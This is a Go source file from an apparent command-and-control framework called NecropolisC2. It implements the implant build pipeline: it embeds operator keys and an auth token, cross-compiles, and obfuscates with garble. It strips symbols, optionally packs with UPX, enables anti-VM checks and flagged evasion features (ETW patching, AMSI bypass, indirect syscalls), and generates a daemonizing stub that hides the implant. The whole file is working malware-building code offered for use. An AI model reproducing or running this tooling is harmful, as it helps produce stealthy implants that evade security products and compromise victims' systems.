// Implant build pipeline. Generates fresh implant keys, embeds operator credentials,
// cross-compiles via Go or garble, and optionally compresses with UPX.
package core

import (
	"archive/tar"
	"bytes"
	"compress/gzip"
	"crypto/rand"
	"flag"
	"fmt"
	"io"
	"log"
	"os"
	"os/exec"
	"path/filepath"
	"strings"

	"github.com/libp2p/go-libp2p/core/crypto"
	"github.com/libp2p/go-libp2p/core/peer"

	"github.com/Yenn503/NecropolisC2/server/core/embedsrc"
)

// GenerateConfig holds the CLI flags controlling the implant build: target OS/arch,
// obfuscation, compression, quiet mode, anti-VM tags, and evasion DLL embedding.
type GenerateConfig struct {
	PubKeyPath string
	OutputPath string
	TargetOS   string
	TargetArch string
	UseUPX     bool
	Obfuscate  bool
	Quiet      bool
	Antivm     bool
	Evasion    bool
}

// RunGenerate parses CLI flags from args and triggers the full implant build pipeline.
func RunGenerate(args []string) error {
	cfg := GenerateConfig{
		PubKeyPath: defaultPubKeyPath(),
		OutputPath: "necropolis-implant",
		TargetOS:   "linux",
		TargetArch: "amd64",
	}

	fs := flag.NewFlagSet("generate", flag.ExitOnError)
	fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
	fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
	fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
	fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
	fs.BoolVar(&cfg.UseUPX, "upx", false, "compress with UPX (off by default — UPX+Go = YARA signature)")
	fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
	fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
	fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
	fs.BoolVar(&cfg.Evasion, "evasion", false, "enable kernel evasion (ETW patch, AMSI bypass, indirect syscalls)")
	fs.Parse(args)

	return BuildImplant(cfg)
}

// BuildImplant reads the operator's public key and box key, generates a fresh implant
// Ed25519 key, prepares a build directory with embedded credentials, cross-compiles
// (optionally through garble), optionally strips symbols and compresses with UPX.
func BuildImplant(cfg GenerateConfig) error {
	pubData, err := os.ReadFile(cfg.PubKeyPath)
	if err != nil {
		return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
	}

	necropolisDir := filepath.Dir(cfg.PubKeyPath)
	boxPubData, _ := os.ReadFile(filepath.Join(necropolisDir, "operator.boxpub"))
	if len(boxPubData) != 32 {
		return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
	}
	authTokenData, err := os.ReadFile(filepath.Join(necropolisDir, "operator.authtoken"))
	if err != nil || len(authTokenData) != 32 {
		return fmt.Errorf("read auth token (operator.authtoken): operator must run once to generate auth token")
	}

	log.Printf("[+] generating implant keypair...")
	implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
	if err != nil {
		return fmt.Errorf("generate implant key: %w", err)
	}
	privBytes, err := crypto.MarshalPrivateKey(implantPriv)
	if err != nil {
		return fmt.Errorf("marshal implant private key: %w", err)
	}
	implantPeerID, _ := peer.IDFromPublicKey(implantPub)
	log.Printf("[*] PeerID: %s", implantPeerID.String())

	log.Printf("[+] embedding credentials...")
	buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, authTokenData, cfg.Quiet)
	if err != nil {
		return fmt.Errorf("prepare build directory: %w", err)
	}
	defer os.RemoveAll(buildDir)

	outPath := cfg.OutputPath
	if !filepath.IsAbs(outPath) {
		wd, _ := os.Getwd()
		outPath = filepath.Join(wd, outPath)
	}
	if cfg.TargetOS == "windows" && !strings.HasSuffix(outPath, ".exe") {
		outPath += ".exe"
	}

	_, err = ensureGo()
	if err != nil {
		return fmt.Errorf("go not available: %w", err)
	}

	goBin := findGo()

	ldflags := "-s -w -buildid="
	if cfg.Quiet && cfg.TargetOS == "windows" {
		ldflags += " -H=windowsgui"
	}

	var builder string
	var buildArgs []string
	buildPath := os.Getenv("PATH")
	if cfg.Obfuscate {
		garble, err := ensureGarble(goBin)
		if err != nil {
			return fmt.Errorf("garble not available: %w", err)
		}
		if _, err := exec.LookPath("git"); err != nil {
			log.Print("git not found. Attempting to install...")
			gitBin, err := installGit()
			if err != nil {
				return fmt.Errorf("garble requires git to patch the Go linker, install git manually or set up PATH: %w", err)
			}
			gitDir := filepath.Dir(gitBin)
			if !strings.Contains(buildPath, gitDir) {
				buildPath = gitDir + string(os.PathListSeparator) + buildPath
			}
		}
		builder = garble
		buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
		// build from project root so GOGARBLE scopes to our packages.
		// Temp dir breaks import path resolution needed for obfuscation filtering.
		wd, _ := os.Getwd()
		restore := backupStubs(filepath.Join("implant", "core"))
		defer restore()
		writeEmbeddedCreds(filepath.Join("implant", "core"), pubData, boxPubData, privBytes, authTokenData)
		buildDir = wd
		log.Printf("[+] obfuscation: garble -literals -tiny")
	} else {
		builder = goBin
		buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
	}

	if cfg.Antivm {
		buildArgs = append(buildArgs, "-tags=antivm")
	}
	if cfg.Evasion {
		buildArgs = append(buildArgs, "-tags=evasion")
		log.Printf("[+] Ninja: FreshyCalls + HAL's Gate, indirect syscalls, module stomping, AMSI HWBP, ETW 3-tier, CFG-aware callback removal, sleep obfuscation, yk the vibes.")
		log.Printf("[+] embedding my lillll ahh valak.dll ;)")
	}
	buildArgs = append(buildArgs, "./implant/")

	cmd := exec.Command(builder, buildArgs...)
	goDir := filepath.Dir(goBin)
	if !strings.Contains(buildPath, goDir) {
		buildPath = goDir + string(os.PathListSeparator) + buildPath
	}

	env := []string{
		"GOOS=" + cfg.TargetOS,
		"GOARCH=" + cfg.TargetArch,
		"CGO_ENABLED=0",
		"PATH=" + buildPath,
		"GOGARBLE=github.com/Yenn503/NecropolisC2/*",
	}
	cmd.Env = append(os.Environ(), env...)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	cmd.Dir = buildDir

	log.Printf("[*] compiling %s/%s...", cfg.TargetOS, cfg.TargetArch)
	if err := cmd.Run(); err != nil {
		return fmt.Errorf("build: %w", err)
	}
	if fi, err := os.Stat(outPath); err == nil {
		log.Printf("[+] %s (%d bytes)", outPath, fi.Size())
	}

	// strip for Linux/macOS to remove any remaining symbol tables
	if cfg.TargetOS == "linux" || cfg.TargetOS == "darwin" {
		stripCmd := exec.Command("strip", "-s", outPath)
		_ = stripCmd.Run()
	}

	if cfg.UseUPX {
		if upxPath, err := exec.LookPath("upx"); err == nil {
			log.Printf("applying UPX compression...")
			upx := exec.Command(upxPath, "--lzma", "--compress-exports=0", outPath)
			upx.Stdout = os.Stdout
			upx.Stderr = os.Stderr
			if err := upx.Run(); err != nil {
				log.Printf("upx compression skipped: %v", err)
			}
		} else {
			log.Printf("upx not found, skipping compression")
		}
	}

	return nil
}

// prepareBuildDir creates a temp directory with the implant source, embedded operator
// credentials (pubkey, box pubkey, implant privkey, auth token), and optional quiet stub.
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData, authTokenData []byte, quiet bool) (string, error) {
	dir, err := os.MkdirTemp("", "necropolis-build-*")
	if err != nil {
		return "", fmt.Errorf("create temp dir: %w", err)
	}

	pubLiteral := bytesLiteral(pubKeyData)
	boxPubLiteral := bytesLiteral(boxPubKeyData)
	privLiteral := bytesLiteral(privKeyData)
	authLiteral := bytesLiteral(authTokenData)
	pubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core

var embeddedOperatorPubKey = %s
`, pubLiteral)
	boxPubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core

var embeddedOperatorBoxPubKey = %s
`, boxPubLiteral)
	keyContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core

var embeddedImplantPrivKey = %s
`, privLiteral)
	authContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core

var embeddedAuthToken = %s
`, authLiteral)

	if err := extractEmbeddedSource(dir); err != nil {
		return "", err
	}

	// Rename go.mod.txt/go.sum.txt back to real names
	os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
	os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))

	coreDir := filepath.Join(dir, "implant", "core")
	if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
		return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
	}
	if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
		return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
	}
	if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
		return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
	}
	if err := os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(authContent), 0644); err != nil {
		return "", fmt.Errorf("write embedded_authtoken.go: %w", err)
	}

	if quiet {
		if err := writeQuietStub(coreDir); err != nil {
			return "", fmt.Errorf("write quiet stub: %w", err)
		}
	}

	return dir, nil
}

// writeQuietStub generates a Go init() that detaches from the terminal and daemonizes
// the process (non-Windows only).
func writeQuietStub(coreDir string) error {
	quietContent := `//go:build !windows

package core

import (
	"os"
	"syscall"
)

func init() {
		if os.Getenv("_NECROPOLIS_DAEMON") == "1" {
		return
	}

	f, err := os.OpenFile("/dev/null", os.O_RDWR, 0)
	if err != nil {
		os.Exit(1)
	}

	attr := &os.ProcAttr{
		Files: []*os.File{f, f, f},
		Env:   append(os.Environ(), "_NECROPOLIS_DAEMON=1"),
		Sys:   &syscall.SysProcAttr{Setsid: true},
	}

	proc, err := os.StartProcess(os.Args[0], os.Args, attr)
	if err != nil {
		os.Exit(1)
	}
	proc.Release()
	os.Exit(0)
}
`
	return os.WriteFile(filepath.Join(coreDir, "quiet.go"), []byte(quietContent), 0644)
}

// extractEmbeddedSource unpacks the gzipped tar archive of implant source into dst.
func extractEmbeddedSource(dst string) error {
	gz, err := gzip.NewReader(bytes.NewReader(embedsrc.ImplantSourceArchive))
	if err != nil {
		return fmt.Errorf("gzip reader: %w", err)
	}
	defer gz.Close()

	tr := tar.NewReader(gz)
	for {
		hdr, err := tr.Next()
		if err == io.EOF {
			break
		}
		if err != nil {
			return fmt.Errorf("tar next: %w", err)
		}

		target := filepath.Join(dst, hdr.Name)
		switch hdr.Typeflag {
		case tar.TypeDir:
			if err := os.MkdirAll(target, 0755); err != nil {
				return err
			}
		case tar.TypeReg:
			if err := os.MkdirAll(filepath.Dir(target), 0755); err != nil {
				return err
			}
			f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
			if err != nil {
				return err
			}
			if _, err := io.Copy(f, tr); err != nil {
				f.Close()
				return err
			}
			f.Close()
		}
	}
	return nil
}

// defaultPubKeyPath returns ~/.necropolis/operator.pub.
func defaultPubKeyPath() string {
	home, err := os.UserHomeDir()
	if err != nil {
		return "operator.pub"
	}
	return filepath.Join(home, ".necropolis", "operator.pub")
}

// ensureGarble checks for the garble obfuscator; if missing, installs it via go install
// and searches GOPATH/bin as a fallback.
func ensureGarble(goBin string) (string, error) {
	if p, err := exec.LookPath("garble"); err == nil {
		return p, nil
	}
	log.Print("garble not found. Installing via 'go install mvdan.cc/garble@v0.12.1'...")
	cmd := exec.Command(goBin, "install", "mvdan.cc/garble@v0.12.1")
	cmd.Env = append(os.Environ(), "PATH="+filepath.Dir(goBin)+string(os.PathListSeparator)+os.Getenv("PATH"))
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	if err := cmd.Run(); err != nil {
		return "", fmt.Errorf("install garble: %w", err)
	}

	if p, err := exec.LookPath("garble"); err == nil {
		return p, nil
	}

	// go install puts binaries in GOPATH/bin — check each entry
	gopathOut, _ := exec.Command(goBin, "env", "GOPATH").Output()
	gopath := strings.TrimSpace(string(gopathOut))
	if gopath != "" {
		for _, p := range filepath.SplitList(gopath) {
			for _, name := range []string{"garble", "garble.exe"} {
				candidate := filepath.Join(p, "bin", name)
				if fileExists(candidate) {
					log.Print("garble installed")
					return candidate, nil
				}
			}
		}
	}

	return "", fmt.Errorf("garble installed but not found in PATH or GOPATH/bin")
}

// fileExists returns true if the path exists on disk.
func fileExists(path string) bool {
	_, err := os.Stat(path)
	return err == nil
}

// bytesLiteral formats a byte slice as a Go source literal like "[]byte{1,2,3}".
func bytesLiteral(data []byte) string {
	var parts []string
	for _, b := range data {
		parts = append(parts, fmt.Sprintf("%d", b))
	}
	return "[]byte{" + strings.Join(parts, ",") + "}"
}
